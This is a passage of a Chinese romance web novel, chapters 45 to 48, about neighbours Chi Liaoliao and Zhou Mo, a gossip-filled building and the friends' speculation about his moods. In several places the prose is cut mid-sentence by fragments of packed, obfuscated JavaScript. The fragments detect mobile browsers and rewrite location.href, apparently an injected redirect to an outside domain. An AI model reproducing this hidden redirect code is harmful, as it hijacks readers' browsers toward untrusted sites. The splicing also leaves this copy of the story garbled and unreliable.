“……”周默无语地闭上了眼睛。 很熟？ 很熟你还在这听人家八卦？ 以及，看来人缘太好也不是件好事。 不过既然如此—— “那你在这慢慢听，我先进去了。”周默说着越过迟了了，抬腿便要继续下楼。 “哎哎哎！”迟了了赶紧伸手去拉他。 然而她却忘了，这一伸手自己的行踪必然要暴露。 果不其然，这边她刚抓住周默的衣服，那边就听到楼下女人惊喜妖娆的声音：“了了~” 45. 没心没肺 迟了了浑身顿时一僵。 啊——好可惜！ 她气得瞪了周默一眼，拽住他后腰衣角的手一送，便在他腰上使劲拧了一把。 嘶！—— 周默登时疼得一激灵。 没等他回瞪过去，迟了了已经瞬间变脸，笑着从他后面走了出来：“谭心姐！” 女人，也就是谭心，直到此时才算是真正笑了出来，从斜倚着的门边站起身。 而下一秒，她视线扫过一旁的周默，原本温柔的目光一怔又亮起，然后又顺着看向迟了了拽着周默衣摆的手。 恍然间，似乎明白了什么。 她立刻冲迟了了递了个眼色过去。 迟了了一蒙：啊？什么意思？ 还没琢磨明白，那边谭心已经目不斜视地绕过脚边的男人，径直朝着两人款款走来。 一边走，还一边亲昵地唤着：“亲爱的，你怎么来了？” 迟了了和周默齐齐一惊，不约而同地看向对方。 不等他们搞明白这声“亲爱的”是在喊谁，谭心已经来到周默另一边，抬手柔柔挽住他的手臂，看似温柔实则暗中使劲地带着两人往前走。 “亲爱的，你别介意，这就是我一个不值一提的前前任，之前一直在网上跟人聊骚，被我发现分了手，现在不知道在别的女人那里受了什么挫折，又想来我这儿求收留。”谭心笑吟吟说着，嘴里吐出的话却跟淬了毒似的，“这不搞笑呢，我难道是开废品回收站的吗？” 周默正被眼前这陌生女人的一通操作搞得一头雾水，听到这儿，终于反应过来自己是被拿来当挡箭牌了…… 可是—— 然而完全不给他开口的机会，谭心又对地上同样蒙圈的男人柔声说道：“对了，介绍一下，这是我现男友，怎么样，你看他这身高、这长相、这气质，跟你比如何？你觉得跟他比，我是瞎了眼会吃你根回头草吗？” 听到这里周默终于忍不住了，他飞快紧张地看了眼迟了了，张口就要否认：“我不——” 话还没说完，迟了了一个箭步上前，拽了下他的衣角，截过他的话：“我们，不同意！” 周默呼吸一滞，心像被猛地攥紧。 在两人现身的第一时间就立马站起来的男人这下彻底蒙了，看看这个看看那个，半晌脑子里才转过弯来，伸手指着周默问：“他是你男朋友？” 周默不喜欢被人这么指着，不悦地皱起眉。 谭心一挑眉：“嗯哼。” “那她呢？”男人又指向迟了了，然后指向她拽着周默衣服的手，看向谭心。 谭心猝不及防一噎。 周默立时不气了，低头看向自己被拽着的袖子，看戏一般看着迟了了。 眼看谎言要被拆穿，说时迟那时快，迟了了突然一扬下巴：“我是他妹！亲妹，怎么了？！” 此话一出，整个八楼走廊都安静了下来，入耳除了楼下隐隐约约传来的说话声，就只有迟了了这句话荡起的若有似无的回声。 谭心惊愕地看着迟了了，目光从诧异渐渐转为感动。 周默也看着迟了了，眼睛里满是对她信口胡扯的难以置信。 如果没有记错，这是第三次了。 第一次是他刚搬来的时候，她在门口吃水果，对外卖小哥说，敞着门是为了通风换气；第二次是带着袁周率去吃披萨，为了点亲子套餐，她怂恿自己冒充一家三口；然后现在……她又成自己亲妹了？ 谁要当她亲哥！ 对面男人也看着迟了了。 “你是他妹？”他呆呆地问，然后向谭心求证，“她是他妹？亲的？” 谭心信誓旦旦：“如假包换！” 男人目光在三人中间又转了几个来回，突然，他笑了，又伸手指着周默：“他来你家约会，还带着他妹？你看我信吗？” 谭心：“……” 好在关键时刻，迟了了又开口了：“我住——对面啊！” 男人这次笑得更自信了：“露馅了吧，我见过对门那个，是个男的！”他轻蔑地扫了眼周默，“不是他，是个花里胡哨，招摇得跟只花孔雀似的男的！” 花孔雀·许愿：…… 迟了了没想到这人竟然见过许愿，眼珠子咕噜噜一转，又说：“那是我男朋友！不行吗？” 三人再次：“……” 兄妹俩分别跟一层楼住对门的两个人是情侣——这显然是男人没想到的复杂关系，他总觉得还有什么地方不对劲，但又想不通到底是哪儿不对劲，于是一时再次陷入沉默。 谭心见状，心知不能再给他思考的机会了，连忙摆出一副通情达理的样子：“行了行了，事实已经很明显了，你要是还要点脸面吧，别赖着了，赶紧走吧！以后也别来了。” 迟了了也连声附和：“就是就是，求和求到现男友面前，我都替你尴尬。” 男人本就舍不下脸面，不然也不会在周默和迟了了一出现的时候就站起来了，眼下被两人这一通说，面上更是挂不住。 恨恨地看了三人一眼，他一甩袖子，扭头就撞开周默的肩膀，走了。 然而……他本来是想坐电梯下去的，可没想到电梯被其他人用着，按了之后好一会儿都没等来。 眼见他顶着三人的目光实在有些扛不住，整个人从脖子红到了头顶，迟了了好心提议：“要不，你走楼梯？” 男人闻言扭头看了她一眼，那一眼说不清是怨怼还是感激，总之他看起来简直要哭了。 最后，他哼地一声转身，头也不回就去了步梯间。 …… 又过了一会儿，谭心从楼梯扶手的拐角边直起身，摇头感叹：“这人仅有的智商估计都用在当年跟我打游击上了，竟然下到5楼才想起来去坐电梯。” 语罢，她看向周默，扬唇一笑：“帅哥，谢了啊！” 然后又抬手捏了捏迟了了的脸颊：“也谢谢你小可爱，你怎么这么机灵啊！” 迟了了嘻嘻一笑，抬手扯下脸上作乱的手指，抱在怀里：“谭心姐，你可回来了，你这次去了好久！” “今天凌晨刚回来，这不正补觉呢，就被堵上门了，真是晦气！”谭心啐了一声。 “那谭心姐你吃饭了吗？今天楼里停水了。” 谭心点头：“知道，看见通知了。” 迟了了眨眨眼：合着就自己不知道？ 这时，谭心挑眉示意了眼一旁默不作声的周默，语气暧昧地问道：“这位，不介绍下？” “哦对，”迟了了这才想起来，连忙拉过周默，“这是周默，是许愿的房客。周默，这是谭心，你们还没见过吧？谭心姐是做审计工作的，经常全国各地出差，这次去了有半年多了，在你搬来之前就出去了，现在才回来！” “许愿房客？”谭心脸上的暧昧顷刻褪了个干净，再看周默，她上下打量了一番，“许愿房子租出去了？” “嗯呢，都租出半年了。” “这样啊……”谭心恍然大悟，转而她又笑起来，冲周默招招手，“新邻居，你好呀！” 周默淡淡回了句：“你好。” 他现在没心思跟这位对门邻居寒暄，脑子里只回响着刚刚迟了了说的那句：“在你搬来之前就出去了，现在才回来！” 搬来之前就出去了？ 现在才回来？ 他蓦地想起之前自己刚搬来那会儿，因为不堪忍受迟了了的过度热情，而撒过的一个谎…… 这么说来，其实她早就知道了？ 周默心虚地舔了下唇。 “谭心姐你怎么交过这么个男朋友？质量不太行。” “嗐，以前眼瞎，随手从垃圾堆里捡的！” …… 面前迟了了和谭心还在闲聊着，他却恨不得立刻扭头回去！ 好在这时谭心屋里电话响了起来，两人终于结束闲聊，互道再见。 周默赶紧转身去开门，迟了了回身招招手，也跟了过去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818873|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而谭心回到屋内，关门的前一秒看到两人一前一后进了对面大门，狡黠的狐狸眼一转，再度露出一抹暧昧的笑。 只是，房客？ 下一秒，屋内手机再度铃声大作，她回过神来，不耐地关门进屋，口中喊着：“来了来了，催命似的！” - 801。 周默听着后面跟进来的脚步声，思绪一片凌乱。 他不知自己该不该问出猜测的那个可能，更不知道如果她回答说当时就知道自己在说谎了，那自己又该如何反应。 而更让他心神不宁的，还有今天频频在他心里作乱的那种感觉。 作为一个三十岁、除了之前因为外婆而起的自我怀疑外总体来说身心还算健康的男人，他不会天真地搞不清那种感觉是怎么回事，可是…… 正是因为搞得清，他才觉得自己有些卑劣。 更何况，她还有个一起长大的青梅竹马。 又何况，这青梅竹马还是自己房东。 周默感觉此时此刻，自己的脑子就是一团糨糊。 …… 与他的愁肠百结截然不同，后面的迟了了却是一身轻松。 出差的邻居姐姐回来了、刚刚自己还戏弄了一把渣男，再加上今天还抓了娃娃，她的心情简直不要太好！ 一蹦一跳哼着歌，在客厅里逛了一圈，最后她为手里的猫头鹰玩偶选了一个合适的家——周默书桌上，电脑旁的一个角落里。 将玩偶放好，又反复打量了一番，迟了了满意地点点头，转头看向正在厨房里检查水来了没有的周默。 “诶周默，你有没有前女友呀？”她贼兮兮地问。 周默拨水龙头开关的手指一顿，眸子闪了闪，慢半拍地反问：“有又怎样？没有又怎样？” “有的话就跟我讲讲你们甜蜜的故事呗！” 周默：“……刚听八卦，没听够？” “嗯——”迟了了嫌弃地直摇头，“刚那些太负面了！我现在得听些正面的、浪漫的爱情故事，这样才好中和一下我的爱情观，不然我会对爱情失望的！” 又是一通歪理。 周默收回手，半侧过身看向她：“你确定，前任的故事能提供给你正能量？” 迟了了自有一套逻辑：“那既然能在一起，肯定有过正面的时候嘛，不然谈哪门子恋爱！嘿嘿你放心，就算是一点点我也不嫌弃，”她用大拇指在食指上掐出一小截来，“只要是浪漫的故事，我都喜欢听！” 周默对此冷呵一声。 “怎么样，到底有没有嘛？”迟了了追问。 周默没好气地丢下两个字：“没有。”然后俯身拎起仅剩的一桶水，烧水去了。 他从小到大的女同学年轻都比自己大，出国后认识的外国女生又不符合他的审美，上哪给她找个前女友出来。 迟了了看着他的背影，失望地叹了口气。 没了浪漫故事听，迟了了颇有些遗憾。好在没过多久，水管里便响起了“咕噜噜”的空腔音，周默打开龙头一看，噗嗤噗嗤，微弱的水流正上气不接下气地涌出来。 迟了了一见，顿时不顾上问什么浪漫的爱情故事了，丢下一句“来水了”便惊喜地跑回了楼上。 等801只剩下周默一个人，他在原地心不在焉地又站了一会儿，直到断断续续的水流变得顺畅起来，才无奈叹了口气，关上水龙头，转身走出厨房。 在客厅里又站了一会儿，他又往书房走去。可刚来到书桌前，就看到了迟了了放在桌角的那个猫头鹰玩偶。 白色的羽毛、黑色的爪子，同样戴着眼镜，同样一脸板正…… 好吧，确实有点像。 他伸手将它拿过来，近距离端详着，然后抬手捏了两下猫头鹰的肚子，软软绵绵的，手感极好。 他又改用手指戳了一下，雪白的肚子凹下去一块，又很快回弹起来。 “……没心没肺。” 半晌，他喃喃说了一句。 46. 八卦续集 转眼到了八月底，一过处暑，空气中属于夏天的燥热便褪去了五六分。 风吹在身上，渐渐带了丝微凉，只是太阳还依旧热情。 人，也是如此。 这不，刚吃过午饭，正是一天中阳气最盛的时候，周默坐在客厅沙发里看文件。 刚看没多久，就听到楼下传来一阵激烈的争吵声。 来到阳台一看，前面某一栋楼下正聚集了一群人，你推我搡地互相叫骂着。 周默只扫了一眼便没再管，转身回到沙发旁，继续看文件。 当然，他如此淡定，一方面是因为对这种事情不感兴趣，另一方面，则是因为他知道，这个时间，有人会比自己更积极。 不出所料，不到五分钟，801的大门便被敲响了。 “进来。”周默头也不抬地应道。 紧接着，“嘀嘀嘀”的密码锁声音响起。 那声音清脆雀跃，听起来像是在演奏一段欢快的小乐曲。 随着一阵蜂鸣，大门被打开，迟了了人还没进来，就迫不及待地问道：“周默周默，你听到楼下在吵架了吗？” 周默云淡风轻地翻过一页纸：“听到了，但没听清。” 迟了了一听这话，更来劲了，换上自己专属的卡通拖鞋，啪啦啪啦地径直跑到窗前，扒着玻璃继续往外看。 因为吵闹声太过扰民，大部分人已经被物业劝离了，此时楼下只剩下稀稀拉拉几个人还在议论着。 迟了了又啪啦啪啦地回到蛋壳椅前，将拖鞋一脱，盘腿坐进去，兴致勃勃地看着周默： “那你想听吗？” 周默从文件上抬起头，这才发现今天她头上戴的，是个黄色的感叹号发卡。感叹号下面连着一截包着软布的弹簧，随着她的动作，弹簧带动感叹号，正在她头顶一晃一晃的，让人看着心里就静不下来。 “你说。”他道。 迟了了咧嘴笑了，开始给他复述刚刚听到的吵架内容。 这次争吵的源头，周默并不陌生，不是别的，正是之前迟了了说过的，在小区对面棋牌室发生的那段老年三角恋。 如今这段狗血爱情故事，已经从变心大爷的老伴儿搬着小马扎去棋牌室门口哭诉，进一步扩大升级，三人之间你爱我我爱她她爱他的爱恨纠缠被彻底公之于众，被阿姨暗恋的那位大爷也才知道，自己无意间竟还惹来了一朵桃花。 三个人里，除了一厢情愿的大爷A——迟了了将精神出轨的这位大爷称为大爷A，将被阿姨暗恋的那位大爷称为大爷B——有家室外，那位阿姨和大爷B一个离异一个丧偶，都是单身，如今这事儿挑明，大爷B若是有意，那也算是情投意合两情相悦，结成一对夕阳红鸳鸯了。 可没想到，这事儿在他们各自的儿女那儿又掀起了一阵轩然大波。 大爷A这边，儿子得知自家老爹都60多、孙子都快上高中了，竟然背叛家庭，还要离婚，简直不要太丢人，每天班也不上了，就蹲在家里看着他爸不让他出门。 大爷就闹啊…… 而另一边，阿姨和大爷B的孩子也有意见，都不乐意自己爸妈这么大岁数了还给自己找个后爹后妈，同时又怀疑对方居心不良。 本来嘛，三方子女在家里闹自己爸妈就罢了，可后来不知道怎么的，他们竟然碰面了！ 这一碰面，又正好被他们听到对方在背后蛐蛐自己爸妈。 自家人，自家可以骂，但别人不能骂——这是自古以来的道理。 自家爹妈自己关起门来说说也就算了，在外面被别人骂，谁都忍不了，于是你呛我一声我回你一句，三家你来我往便吵了起来。 吵着吵着，阿姨和大爷B的子女渐渐统一了阵线，觉得这事儿都是大爷A搞出来的，于是又结成同盟，一路讨伐大爷A的儿子，直追到小区楼下。 …… 迟了了说得绘声绘色，说到后来不仅动口，还动手比画了起来。 周默漫不经心地听着，适时在她卖关子抛悬念的时候附和一声，迟了了便大受鼓舞，继续手舞足蹈地往下讲。 讲到最后，她一拍手，总结陈词：“我觉得，经过这次吵架，那位阿姨和大爷B家的儿子女儿很有可能就化敌为友，同意这门婚事了！” 周默下意识附和：“嗯……嗯？为什么？” “战友情啊！”迟了了说，“就是可怜了大爷A，这又出轨又闹离婚的，最后双重丢人。” 她啧啧摇着头，话说得唏嘘，却笑得幸灾乐祸的。 - 这天的八卦分享，最后以迟了了一句“热闹，就是要跟人一起看才有意思！”的感慨，画下句号。 然而，让两人都没想到的是，这出棋牌室引发的狗血连续剧发展到这里，还远没有结局。 第二天，楼下又响起了喧闹声。 这一回，周默像上次一样在家等着。 可等了五分钟……又等了五分钟，大门却迟迟没有被敲响。 周默放在键盘上的手敲不动了，他一次又一次抬眼看向大门方向，那里却始终安静着。 直到最后，楼下的吵闹声都结束了，还是没人来敲门。 周默有些坐不住了—— 她怎么没来？ 是昨天又熬夜了，现在还没起？ 还是出门了？ 应该是出门了吧，他想，不然这动静肯定能把她吵醒。 可是……会不会是不舒服，起不来？ 周默越想越担心，最后实在忍不住了，一把推开椅子，起身出了门。 …… 来到楼上，他屈指敲了门，然后等着。 可等了一会儿，却不见门内有什么动静。 他又敲了两下。 ……或许，就是出去了？他想。 周默突然觉得自己的行为有点幼稚，于是转身准备离开。 可刚迈出脚，却又听到门内响起一串急匆匆的脚步声，伴随着还有迟了了的声音：“来了来了！” 刚沉下去的心情，瞬间又振作起来。 门被打开，迟了了探出头来，一见门外站着的周默，她先是一愣，而后立马立正站好，举起手指就为自己辩解：“我刚刚在画画，什么都没做！” 周默正要开口，一听这话，刚热起来的心唰地就冷了半截。 ……难道在她看来，自己上楼就没好事？ “没事，就是想跟你说，刚刚棋牌室那个大爷家又吵架了。”他没好气地说。 咦？ 一听不是来兴师问罪，而是分享八卦的，迟了了登时一喜：“真的吗？我刚戴着耳机没听到，他们这次在吵什么？” 戴着耳机？ 周默表情松了松，说：“……那个阿姨和大爷的事成了，大爷A有些承受不了了，在家里寻短见，被他妻子和儿子发现了，一家人就闹了起来。” 具体表现为，大爷老伴儿提出要跟大爷离婚，儿子坚决让大爷净身出户，大爷进也不是退也不是，眼看就要人财两空，最后直接在楼下就地一坐，拍着大腿哭喊起来。 迟了了一听事情发展竟然这么精彩，顿时颇觉遗憾：“可惜了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818874|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我刚刚戴着降噪耳机，什么都没听到！” “为什么，突然戴降噪耳机？”周默问。 说起这个，迟了了更无奈了：“楼上今天有亲戚来，带了好几个小孩，一直蹦蹦跳跳的，吵得很，我今天要赶个稿子，所以只好戴耳机了。” “没上楼跟他们说说？” “说过了，但效果不好，人家有客人，也不好一直上门找嘛……” 原来如此。 周默垂眸思索了一会儿，心里渐渐有了个主意。 “你……画图的设备，方便携带吗？”他迟疑了片刻，试探着问道。 “嗯？”迟了了眨眨眼，没明白他为什么这么问。 周默又抿了下唇，提议：“要不要，去我那里画？” 诶？！ 迟了了看着他的眼睛倏地一亮：“方便吗？” “……没什么不方便的。”周默不大自然地移开视线，看向一旁。 …… 书桌后，周默坐在电脑前敲打着键盘。 一张沙发之隔，迟了了正盘腿坐在地毯上，面前的茶几上放着一台笔记本电脑，电脑连着线，线的另一端连接着她膝上一个硕大的数位屏。 迟了了拿着触控笔，正在上面画画。 这是周默第一次，正式见迟了了画画。 真是神奇，平日里那样跳脱坐不住的一个人，一摸到画笔却好像被施了定身咒一样，能保持一个坐姿许久一动不动。 如果不是她一手按着快捷键小键盘一手操控着画笔，他都要怀疑这人是不是又在搞什么假装时间静止的恶作剧了。 难得安静的人都静了下来，可周默却感觉，自己的一颗心，更躁动了。 他低下头，不禁有些自嘲，枉他以往还觉得自己定力极强，却也原来不过如此。 默叹了口气，他强迫自己敛起思绪，继续工作。 客厅里，键盘的敲击声再次响起，混合着触控笔擦过屏幕发出的细微的沙沙声，非但不让人觉得吵，反而显出另一种和谐与宁静。 …… 迟了了这周接了个商务约稿，是给一部电影画海报。 作为在社交平台上拥有近百万粉丝的国风插画师，这部正在热映期的电影一看到她出关的消息就找了过来。 因为要得急，这两天迟了了一直在赶，不过好在到今天下午，稿子已经完成了大部分，周默上楼敲门的时候，她只剩最后一些收尾了。 又画了一会儿，稿子基本完成，她最后反复缩放检查了几遍，确定没有什么纰漏之后，便截了个图给对接人发了过去。 做完这些，她仰起脖子，转了转脑袋。 做她们这行的，因为要长期伏案，颈椎病腰肌劳损之类的职业病可不要太常见，不能不防！ 这一活动，她便看到了书桌后的周默。 正认真工作的周默…… 迟了了眨眨眼，目光里流露出欣赏来。 都说认真工作的男人最帅，那这份帅气放在颜值本就出色的周默身上，简直就是“帅气Pro”。 迟了了看着看着，手就痒了起来。 其实她早就有了给周默正经画一幅画像的念头，可惜一直找不到机会，上次虽说给他画了套头像和表情包，但对迟了了来说，又怎么能过瘾！ 而眼下，可不就是送上门的好机会？ 机会来了就要抓住，迟了了没多犹豫，挪动身子换了个方向，又调整了一下数位屏和笔记本的角度，好让周默即便抬头也看不到屏幕上的内容，然后新建画布，开始落笔。 47. 来大姨夫 周默这个人，从小到大一旦开始学习或工作，就很容易进入心流状态。 先前因为心里有事，频频无法集中的精神，到此时似乎终于尘埃落定，一低头便彻底扎进了工作里。 不知过了多久，他被迟了了的一声轻咳惊醒。 抬头看去，沙发前的女生仍在专心画着画，拿笔的手在数位屏上窸窸窣窣地抖动着，连带脑袋也微微倾斜，面上表情更是生动，嘴巴不时动那么一下，像是在自言自语地念叨什么悄悄话。 这时，她又清了清嗓子。 周默目光一晃，回过神来，想起什么，轻轻推开椅子，起身绕过沙发朝厨房走去。 一分钟后，他端着一杯水从厨房里走了出来。 …… 有了上次表情包的经验教训，这次偷摸给人画像这事儿，迟了了那是抱了十二分的警惕。 故而，打从周默一开始站起来，她心里就咯噔了一下，悄摸着抬起眼，目光一直偷偷地随着他走进了厨房，才松了口气。 此时见周默又出来，她赶紧佯装若无其事地继续画画，一边又竖起耳朵，留意着周默的动静。 不好！ 怎么朝自己这边来了？！ 说时迟那时快，她连忙操纵旁边的快捷键小键盘，将屏幕上的画像窗口关闭。 然而相比周默的长腿，她这动作还是慢了一步。 周默端着水杯在她旁边停下，蹙眉看着她突然恢复到桌面的两个显示器，一阵不解。 “你在画什么？”他问。 “没什么呀。”迟了了仰起头笑道。 周默眸光一沉。 虽然没有看清，但他还是隐约扫到了一眼。 刚刚屏幕上一闪而过的画，跟她下楼时画的电影海报，分明不是一个东西。 这时，他突然回想起上次她出现类似慌张时的情形。 周默心里蓦地涌上一阵愉悦。 那愉悦像是春日里夺门而入的阳光和微风，吹过他的心头，让他有些无奈，有些烦乱，还有些微的窃喜和得意。 “你画的我？”他问，唇角不自觉地微微勾起。 然而这话落在迟了了耳朵里，却无异于拉响了警报！ 她瞬间一个激灵，想也不想就摇头否认：“才不是，你看错了！” “我看到你在画一个人。”周默又说。 这次迟了了百口莫辩了，一双眼睛慌乱地左看看右看看，脑袋里仿佛有个上蹿下跳的小人在翻箱倒柜地找着借口。 啊，有了！ 她脖子一梗，看向周默：“我才没画你，我画的是许愿，不是你！” 一瞬间，周默唇角努力克制的弧度僵在了那里，而上一秒心里的那份窃喜和得意，也咔嚓一下，碎了个彻彻底底。 如果真有眨眼间就能风云变色的天气现象，迟了了觉得自己在周默的脸上见识到了一次。 她只觉得自己说完那话之后，面前男人的脸色唰地一下就沉了下来，脸色阴沉得仿佛堆了厚厚一团雨云，下一秒就要狂风骤起、暴雨倾盆…… 呃——自己难道又说错了？ 不能说画的是他，可也不能说不是他…… 这也太难伺候了吧？ 没等她想出来怎么继续往下圆，周默已经一言不发地转身往书桌走去。 迟了了挠挠耳朵，探着脑袋过去：“那个，水……不是给我倒的吗？” “我看你不渴。” 周默往椅子上一坐，看也不看她，便将杯子递到嘴边啜了一口。 迟了了：“……” - “他最近情绪真的不大稳定，常常上一秒还春风化雨善解人意，下一秒突然风云变色翻脸无情。” “或者”里，迟了了趴在柜台上，忿忿地朝闯闯吐槽着。 “上一秒还要给我倒水，转头就要让我回去，明明是他自己要问我许愿的事情，我跟他说了，他又不高兴，真是捉摸不定，男人心海底针！” 闯闯一边清洗杯子，一边听着她的抱怨，听到最后忍不住乐了： “大姨父来了？” “男人真有大姨父？”迟了了好奇宝宝上线，立刻兴奋地问。 闯闯无辜地耸耸肩：“不知道啊。” 好奇宝宝兼行动派传人·迟了了立马拿出手机查了起来。 “但说起来，”闯闯将杯子在杯架上挂好，转头趴在柜台上跟她面对面，“我觉得你俩现在这关系……好像有点暧昧。你觉得，他暗恋你的可能性有多大？” 正在手机上飞快输入的手指一顿，迟了了抬头对上她的目光，眨巴眨巴眼，半晌才平静地吐出一句：“-10吧。” “咋还负了呢？”这回答着实出乎闯闯意料。 “你别忘了，他刚搬来的时候都躲着我呢！”迟了了说。 “那说不定现在对你感觉扭转了呢。” 迟了了又想了想，还是觉得不可能。 这时手机上搜索界面跳了出来，她开口念道：“男人确实有‘大姨父’——”刚念完这一句，她就像是发现了新大陆，抬头惊讶地看向闯闯。 闯闯也来了兴趣，抬抬下巴示意她赶紧往下读。 “咳，”迟了了清清嗓子，起身坐正，“男人确实有‘大姨父’，这是一种生理现象，被称为男性易怒综合征，括号，IMS，括号，或男性生理期。” 闯闯：“哦吼！” 迟了了继续念：“男性生理期的生理机制主要与激素变化有关……雄激素的正常分泌周期约为30天，第18天达到高峰……当雄激素处于低谷时，就会出现情绪低落、□□降低等情况。”* 念到这儿，两人又交换个古怪的眼神。 “男性生理期的具体表现有：情绪波动——”嘿，迟了了来精神了，“可能会出现情绪低落、易怒、烦躁等情绪变化。” “果然！”闯闯一拍桌子。 迟了了继续往下：“这些症状可能会持续3-7天，但并不是每个月都会出现，也不是每个人都有明显的感觉。” “得，就这个了！” 迟了了咂摸了下：看来即便是周默，也要屈服于生理激素啊！ “不过，大姨父完全没有征兆可循吗？是不是也跟女生一样，会受饮食、睡眠、健康状况之类的因素影响啊？”她问。 闯闯想了会儿，说：“你这么说，我倒是还有个别的猜测。” “什么猜测？”迟了了赶紧放下手机，凑近问道。 然而闯闯并未回答她，而是径自抽出她握在手里已经熄屏的手机，朝她脸上一照，重新面部解锁之后，打开微信，调出一个头像，又举到唇边发了一条简明扼要的语音： “出来吃饭。” 发完又将手机还给迟了了。 迟了了疑惑地低头一看，瞬间炸毛！ ——暴躁樱桃。 “你叫她干嘛？！” 闯闯摸摸她的头，不急不缓地安抚：“做个实验，验证一下。” - 晚上，三人齐聚火锅店。 一盘撒尿牛丸扑腾扑腾跳下锅，激起水花四溅。 闯闯赶紧往后躲，一边抱怨：“哎呀，你轻着点儿好吧。” “嘶，烦！”许久不见的肖音韬女士没有二话。 “又烦什么？”迟了了咬着片鲜切西瓜，边吃边问，“我可是已经交稿了啊。”不关她的事啊。 肖音韬瞥了她一眼：“还能烦什么？就那个傻叉作者，还有我的傻叉领导呗。” 说起这个她就来气：“一个稿子拖我五个月，回回都让我堵上门才肯动笔，好不容易交了吧，翻脸又说要改，改改改！再改都赶不上今年的出版计划了！ “我们主编也是，跟他合伙压榨我，我是责编！责编！每天审稿、校对、付印、推广那么多事儿等着我做，我都耗这家伙身上吧！” 说完她也抓过来一块西瓜，咔嗤一口咬下大半。 迟了了看着她凶神恶煞的样子，咽了咽口水，默默地把果盘往她那边推了推。 没想到这点动作却引得怒火烧身，肖音韬倏地转头看向她：“对了，你下本书选题想好了吗？” “啊？”迟了了一怔，“我这本不是才交？” “这本交了，就该想下本了呀，而且你都交了一个月了。” “……”迟了了满含怨念地看向闯闯：你看你给我招的事儿！ 闯闯递给她一个“交给我”的眼神，抄起筷子往肖音韬的盘子里夹了几片肉，说：“好了好了，你让人休息会儿好吧，天天画绘本，能吃饱饭吗？一年到头还不给人留点时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而且前脚刚被催过选题，如果此时让她知道自己这段日子过得这么潇洒自在，怕是刚熄的火又要烧起来。 综上，迟了了选择保持沉默。 肖音韬倒没多想，在她看来，这小妮子一向没心没肺，能有烦心事才怪。 有时候她都怀疑这世界上是不是有什么快乐守恒定侓，迟了了之所以这么无忧无虑，是因为有自己替她负！重！前！行！ 她无趣地摆摆手：“下一位。” 闯闯搬起石头砸自己的脚，朝头顶的吊灯翻了个白眼，又叹了口气。 要说烦心事，她还真有一桩：“被逼着相亲，能让你平衡吗？” 肖音韬乐了：“说来听听。” 迟了了在旁也笑眯了眼。 她早就听闯闯抱怨过相亲的事儿，此时再听还是觉得好笑。 “我不是把我爸妈送去老年大学了嘛，一开始想得挺美，让他们有事可做，就不至于天天想管我，还被骗子当成目标。但是现在，报应来了。” 闯闯摇着头，生无可恋地长叹一声：“那里面全是老头老太啊！平日里除了上课，没别的事儿，除了炫耀自家的孙子孙女，就是张罗自家和亲戚家未婚男女的婚事…… “你们能想象到吗，我妈甚至还加入了一个联谊会，不是她们联谊，是她们给儿子女儿联谊。那里面的老人专门互相介绍，给自己的儿子女儿找对象，那阵仗！”她哆嗦了一下，“我每天一回家，就有一沓照片排队等着我！” “排到法国了吗？”肖音韬看热闹不嫌事大地问。 “去你的！”闯闯抓起手边的湿巾就扔了过去。 肖音韬一把接住，哈哈大笑。 见她终于摆脱了从工作上带来的愁容，闯闯意味深长地眯眯眼，微微凑向迟了了。 “看到了吗？”她低声问。 “嗯？”迟了了正埋头啃一截玉米，茫然抬起头，“看到什么？” 闯闯啧了一声：“你那邻居，是不是就她这样的？” 迟了了循着她的话看向对面。 肖音韬笑得正欢，乍然对上两人审视的目光，脸上咔一下就僵住了。 “干嘛！”她拣起下巴，下意识低头看看自己身上。 干净的。 又拿起手机：“我牙上有菜？” 这次闯闯不再掩饰自己的声音：“从她身上就能看出来了，你那邻居的病因，可能是工作压力太大。” “哦——”迟了了恍然大悟。 “诶，”肖音韬闻声放下手机，直直盯着两人，“这是骂我呢吧，我听到了啊。” 48. 友情提示 深夜，万籁俱寂。 淡黄色的台灯灯光洒在书桌一角，给桌前正埋头苦算的身影描上一层朦胧柔和的边线。 “如果是10和0111，那就是1乘以2的1次方，加上0乘以2的0次方，那就是2，二月，0111是0乘以2的三次方，加1乘以2的平方，加1乘以2的1次方，再加1乘以2的0次方，等于……也等于7。” 迟了了一边在纸上写写画画，一边在嘴里絮絮念叨着。 算完之后，她将最后的结果——2和7单独写在角落里，然后继续另一种可能： “如果是100和111，那就是……4，月份是4，日期是……还是7。 “如果是1001和11，那就是……9，和……3！” 算到这儿，她突然一喜，在9和3的组合上重点画了个圈：“这个就是后天诶！” 这个结果像是给她打了一针小小的兴奋剂，她又继续提笔往下算： “那如果是10011和1，就是……19，”她连连摇头，“19月啊？那肯定不对！”说着哗哗几笔把这一行划掉。 最后，她放下笔拿起纸，唰唰抖了两下，满意地看着上面的演算。 白色的A4纸上，被她凌乱地写了好几串数学算式，全是0、1和2加减乘除，有的被打了勾，有的被打了个大大的叉，一眼看过去跟小学生草稿本似的。 而这张纸的最上面，写的是一串数字——100111。 周默家门锁的密码。 据他说，是他生日的二进制转换。 有道是“三个臭皮匠，赛过诸葛亮”，跟闯闯和肖音韬碰面后，迟了了基本确定周默这段时间的情绪不稳，极有可能是工作压力过大导致的雄性激素失调。 也就是“大姨夫”。 